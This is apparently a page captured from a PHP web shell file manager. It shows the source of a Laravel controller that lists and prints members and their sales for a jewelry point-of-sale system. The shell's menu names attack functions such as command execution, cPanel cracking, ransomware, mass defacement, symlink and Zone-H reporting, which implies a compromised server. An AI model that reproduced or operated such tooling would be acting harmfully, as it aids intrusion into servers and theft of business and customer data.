| Path : /var/www/html/jewelry-pos/app/Http/Controllers/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/jewelry-pos/app/Http/Controllers/MemberController.php |
<?php
namespace App\Http\Controllers;
use App\Models\Member;
use Illuminate\Http\Request;
use App\Models\Sale;
class MemberController extends Controller
{
public function __construct()
{
$this->middleware('permission:member-list' , ['only' => ['index' , 'show']]);
}
/**
* Display a listing of the resource.
*/
public function index(Request $request)
{
$paginate = $request->get('paginate')??25;
$phone = $request->get('phone');
$hide = 0;
if($phone){
// $members = Member::where('phone' , $phone)->orWhere('name' , $phone)->paginate($paginate);
$members = Sale::join('members', 'members.id', '=', 'sales.member_id')->where('members.name' , $phone)->orWhere('members.phone' , $phone)->paginate($paginate);
if($members->isEmpty()){
$hide = 0;
}else{
$hide = 1;
}
}else{
$members = Sale::join('members', 'members.id', '=', 'sales.member_id')->paginate($paginate);
}
return view('members.index' , compact('members' , 'paginate' , 'phone' , 'hide'));
}
/**
* Show the form for creating a new resource.
*/
public function create()
{
//
}
/**
* Store a newly created resource in storage.
*/
public function store(Request $request)
{
//
}
/**
* Display the specified resource.
*/
public function show(Request $request , string $id)
{
$find = Member::find($id);
$name = $request->name;
$phone = $request->phone;
$paginate = $request->paginate;
$member = Sale::join('members', 'members.id', '=', 'sales.member_id');
if($name){
$member->where('members.name' , $find->name);
}
if($phone){
$member->where('members.phone' , $find->phone);
}
$member = $member->paginate($paginate);
$products = $member;
return view('members.show' , compact('member' , 'products', 'name' , 'phone' , 'id' , 'paginate'));
}
/**
* Show the form for editing the specified resource.
*/
public function edit(string $id)
{
//
}
/**
* Update the specified resource in storage.
*/
public function update(Request $request, string $id)
{
//
}
/**
* Remove the specified resource from storage.
*/
public function destroy(string $id)
{
//
}
public function printAll(Request $request)
{
$phone = $request->get('phone');
if($phone){
$members = Sale::join('members', 'members.id', '=', 'sales.member_id')->where('members.name' , $phone)->orWhere('members.phone' , $phone)->get();
}else{
$members = Member::get();
}
return view('members.print' , compact('members' , 'phone'));
}
public function showName(Request $request , $id)
{
$find = Member::find($id);
$paginate = $request->paginate;
$name = $request->name;
$phone = $request->phone;
$member = Sale::join('members', 'members.id', '=', 'sales.member_id');
if($phone){
$member->where('members.phone' , $request->phone);
}
if($name){
$member->where('members.name' , $request->name);
}
$member = $member->paginate($paginate);
$products = $member;
return view('members.show' , compact('member' , 'products' , 'paginate' , 'name' , 'phone' , 'id'));
}
public function showPrint(Request $request , $id)
{
$find = Member::find($id);
$name = $request->name;
$phone = $request->phone;
$member = Sale::join('members', 'members.id', '=', 'sales.member_id')->select('sales.name as name' , 'sales.*' , 'members.phone' , 'members.note');
if($phone){
$member->where('members.phone' , $request->phone);
}
if($name){
$member->where('members.name' , $request->name);
}
$member = $member->get();
$products = $member;
$totalQty = $products->sum('qty');
$totalWeight = $products->sum('weight');
$totalPrice = $products->sum('sales_price');
$totalDiscount = $products->sum('discount');
return view('members.show-print' , compact('member' , 'products' , 'name' , 'phone' , 'id' ,
'totalQty' , 'totalWeight' , 'totalPrice' , 'totalDiscount'));
}
}